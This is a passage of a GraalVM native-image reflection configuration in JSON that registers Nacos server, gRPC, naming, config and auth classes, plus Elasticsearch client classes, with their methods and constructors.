{\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"co.elastic.clients.elasticsearch.ElasticsearchClient\"\n},\n{\n  \"name\":\"co.elastic.clients.transport.ElasticsearchTransport\"\n},\n{\n  \"name\":\"com.alibaba.nacos.Nacos\",\n  \"allDeclaredFields\":true,\n  \"allDeclaredClasses\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"main\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.Nacos$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.Nacos$NacosRuntimeHints\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.ability.ServerAbilities\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getConfigAbility\",\"parameterTypes\":[] }, {\"name\":\"getNamingAbility\",\"parameterTypes\":[] }, {\"name\":\"getRemoteAbility\",\"parameterTypes\":[] }, {\"name\":\"setConfigAbility\",\"parameterTypes\":[\"com.alibaba.nacos.api.config.ability.ServerConfigAbility\"] }, {\"name\":\"setNamingAbility\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.ability.ServerNamingAbility\"] }, {\"name\":\"setRemoteAbility\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.ability.ServerRemoteAbility\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.ability.constant.AbilityKey\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.annotation.NacosApi\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.cmdb.pojo.Entity\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.ability.ServerConfigAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"isSupportRemoteMetrics\",\"parameterTypes\":[] }, {\"name\":\"setSupportRemoteMetrics\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.AbstractConfigRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setDataId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setGroup\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setTenant\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setConfigListenContexts\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setListen\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest$ConfigListenContext\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setDataId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setGroup\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setMd5\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setTenant\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getDataId\",\"parameterTypes\":[] }, {\"name\":\"getGroup\",\"parameterTypes\":[] }, {\"name\":\"getModule\",\"parameterTypes\":[] }, {\"name\":\"getTenant\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setAdditionMap\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setCasMd5\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setContent\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.request.cluster.ConfigChangeClusterSyncRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getChangedConfigs\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse$ConfigContext\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getDataId\",\"parameterTypes\":[] }, {\"name\":\"getGroup\",\"parameterTypes\":[] }, {\"name\":\"getTenant\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigChangeNotifyResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getContent\",\"parameterTypes\":[] }, {\"name\":\"getContentType\",\"parameterTypes\":[] }, {\"name\":\"getEncryptedDataKey\",\"parameterTypes\":[] }, {\"name\":\"getLastModified\",\"parameterTypes\":[] }, {\"name\":\"getMd5\",\"parameterTypes\":[] }, {\"name\":\"getTag\",\"parameterTypes\":[] }, {\"name\":\"isBeta\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.config.remote.response.cluster.ConfigChangeClusterSyncResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.exception.NacosException\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.exception.api.NacosApiException\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.exception.runtime.NacosRuntimeException\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.BiRequestStreamGrpc$BiRequestStreamImplBase\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"bindService\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Metadata\",\n  \"methods\":[{\"name\":\"getClientIp\",\"parameterTypes\":[] }, {\"name\":\"getClientIpBytes\",\"parameterTypes\":[] }, {\"name\":\"getDefaultInstance\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"getTypeBytes\",\"parameterTypes\":[] }, {\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Metadata$Builder\",\n  \"methods\":[{\"name\":\"clearClientIp\",\"parameterTypes\":[] }, {\"name\":\"clearType\",\"parameterTypes\":[] }, {\"name\":\"getClientIp\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }, {\"name\":\"setClientIp\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setClientIpBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }, {\"name\":\"setType\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setTypeBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Payload\",\n  \"methods\":[{\"name\":\"getBody\",\"parameterTypes\":[] }, {\"name\":\"getMetadata\",\"parameterTypes\":[] }, {\"name\":\"hasBody\",\"parameterTypes\":[] }, {\"name\":\"hasMetadata\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.Payload$Builder\",\n  \"methods\":[{\"name\":\"clearBody\",\"parameterTypes\":[] }, {\"name\":\"clearMetadata\",\"parameterTypes\":[] }, {\"name\":\"getBody\",\"parameterTypes\":[] }, {\"name\":\"getBodyBuilder\",\"parameterTypes\":[] }, {\"name\":\"getMetadata\",\"parameterTypes\":[] }, {\"name\":\"getMetadataBuilder\",\"parameterTypes\":[] }, {\"name\":\"hasBody\",\"parameterTypes\":[] }, {\"name\":\"hasMetadata\",\"parameterTypes\":[] }, {\"name\":\"setBody\",\"parameterTypes\":[\"com.google.protobuf.Any\"] }, {\"name\":\"setMetadata\",\"parameterTypes\":[\"com.alibaba.nacos.api.grpc.auto.Metadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.grpc.auto.RequestGrpc$RequestImplBase\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"bindService\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.model.v2.Result\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.ability.ServerNamingAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"isSupportJraft\",\"parameterTypes\":[] }, {\"name\":\"setSupportJraft\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.pojo.Instance\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"unsafeAllocated\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getClusterName\",\"parameterTypes\":[] }, {\"name\":\"getInstanceHeartBeatInterval\",\"parameterTypes\":[] }, {\"name\":\"getInstanceHeartBeatTimeOut\",\"parameterTypes\":[] }, {\"name\":\"getInstanceId\",\"parameterTypes\":[] }, {\"name\":\"getInstanceIdGenerator\",\"parameterTypes\":[] }, {\"name\":\"getIp\",\"parameterTypes\":[] }, {\"name\":\"getIpDeleteTimeout\",\"parameterTypes\":[] }, {\"name\":\"getMetadata\",\"parameterTypes\":[] }, {\"name\":\"getPort\",\"parameterTypes\":[] }, {\"name\":\"getServiceName\",\"parameterTypes\":[] }, {\"name\":\"getWeight\",\"parameterTypes\":[] }, {\"name\":\"isEnabled\",\"parameterTypes\":[] }, {\"name\":\"isEphemeral\",\"parameterTypes\":[] }, {\"name\":\"isHealthy\",\"parameterTypes\":[] }, {\"name\":\"setClusterName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setEnabled\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setEphemeral\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setHealthy\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setIp\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setMetadata\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setPort\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setServiceName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setWeight\",\"parameterTypes\":[\"double\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.pojo.InstanceHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.pojo.ServiceInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getCacheMillis\",\"parameterTypes\":[] }, {\"name\":\"getChecksum\",\"parameterTypes\":[] }, {\"name\":\"getClusters\",\"parameterTypes\":[] }, {\"name\":\"getGroupName\",\"parameterTypes\":[] }, {\"name\":\"getHosts\",\"parameterTypes\":[] }, {\"name\":\"getLastRefTime\",\"parameterTypes\":[] }, {\"name\":\"getName\",\"parameterTypes\":[] }, {\"name\":\"isAllIps\",\"parameterTypes\":[] }, {\"name\":\"isReachProtectionThreshold\",\"parameterTypes\":[] }, {\"name\":\"isValid\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setGroupName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setNamespace\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setServiceName\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.BatchInstanceRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.InstanceRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setInstance\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, {\"name\":\"setType\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getGroupName\",\"parameterTypes\":[] }, {\"name\":\"getModule\",\"parameterTypes\":[] }, {\"name\":\"getNamespace\",\"parameterTypes\":[] }, {\"name\":\"getServiceInfo\",\"parameterTypes\":[] }, {\"name\":\"getServiceName\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.PersistentInstanceRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.ServiceListRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setPageNo\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setPageSize\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.ServiceQueryRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setCluster\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setHealthyOnly\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setUdpPort\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setClusters\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setSubscribe\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.InstanceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.QueryServiceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getServiceInfo\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.ServiceListResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getCount\",\"parameterTypes\":[] }, {\"name\":\"getServiceNames\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getServiceInfo\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.Payload\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.PushCallBack\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.RequestCallBack\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.Requester\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.ability.ServerRemoteAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"isGrpcReportEnabled\",\"parameterTypes\":[] }, {\"name\":\"isSupportRemoteConnection\",\"parameterTypes\":[] }, {\"name\":\"setGrpcReportEnabled\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setSupportRemoteConnection\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ConnectionSetupRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getAbilityTable\",\"parameterTypes\":[] }, {\"name\":\"getClientVersion\",\"parameterTypes\":[] }, {\"name\":\"getLabels\",\"parameterTypes\":[] }, {\"name\":\"getTenant\",\"parameterTypes\":[] }, {\"name\":\"setAbilityTable\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setClientVersion\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setLabels\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setTenant\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.HealthCheckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.InternalRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.Request\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getHeaders\",\"parameterTypes\":[] }, {\"name\":\"getRequestId\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.RequestMeta\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerCheckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerLoaderInfoRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerReloadRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.SetupAckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getAbilityTable\",\"parameterTypes\":[] }, {\"name\":\"getModule\",\"parameterTypes\":[] }, {\"name\":\"setAbilityTable\",\"parameterTypes\":[\"java.util.Map\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ErrorResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.HealthCheckResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.Response\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getErrorCode\",\"parameterTypes\":[] }, {\"name\":\"getMessage\",\"parameterTypes\":[] }, {\"name\":\"getRequestId\",\"parameterTypes\":[] }, {\"name\":\"getResultCode\",\"parameterTypes\":[] }, {\"name\":\"isSuccess\",\"parameterTypes\":[] }, {\"name\":\"setErrorCode\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setRequestId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setResultCode\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ServerCheckResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getConnectionId\",\"parameterTypes\":[] }, {\"name\":\"isSupportAbilityNegotiation\",\"parameterTypes\":[] }, {\"name\":\"setConnectionId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setSupportAbilityNegotiation\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ServerLoaderInfoResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ServerReloadResponse\"\n},\n{\n  \"name\":\"com.alibaba.nacos.api.selector.Selector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.auth.annotation.Secured\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.auth.config.AuthConfigs\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"subscribeType\",\"parameterTypes\":[] }, {\"name\":\"validate\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.auth.config.AuthConfigs$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.auth.config.AuthModuleStateBuilder\"\n},\n{\n  \"name\":\"com.alibaba.nacos.cmdb.controllers.OperationController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.cmdb.core.SwitchAndOptions\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.cmdb.memory.CmdbProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"queryEntitiesByLabel\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"queryEntity\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"queryLabel\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.cmdb.service.CmdbReader\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.cmdb.service.CmdbWriter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.ability.AbstractAbilityControlManager\"\n},\n{\n  \"name\":\"com.alibaba.nacos.common.event.ServerConfigChangeEvent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.common.model.RestResult\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getCode\",\"parameterTypes\":[] }, {\"name\":\"getData\",\"parameterTypes\":[] }, {\"name\":\"getMessage\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.notify.DefaultPublisher\",\n  \"fields\":[{\"name\":\"lastEventSequence\"}],\n  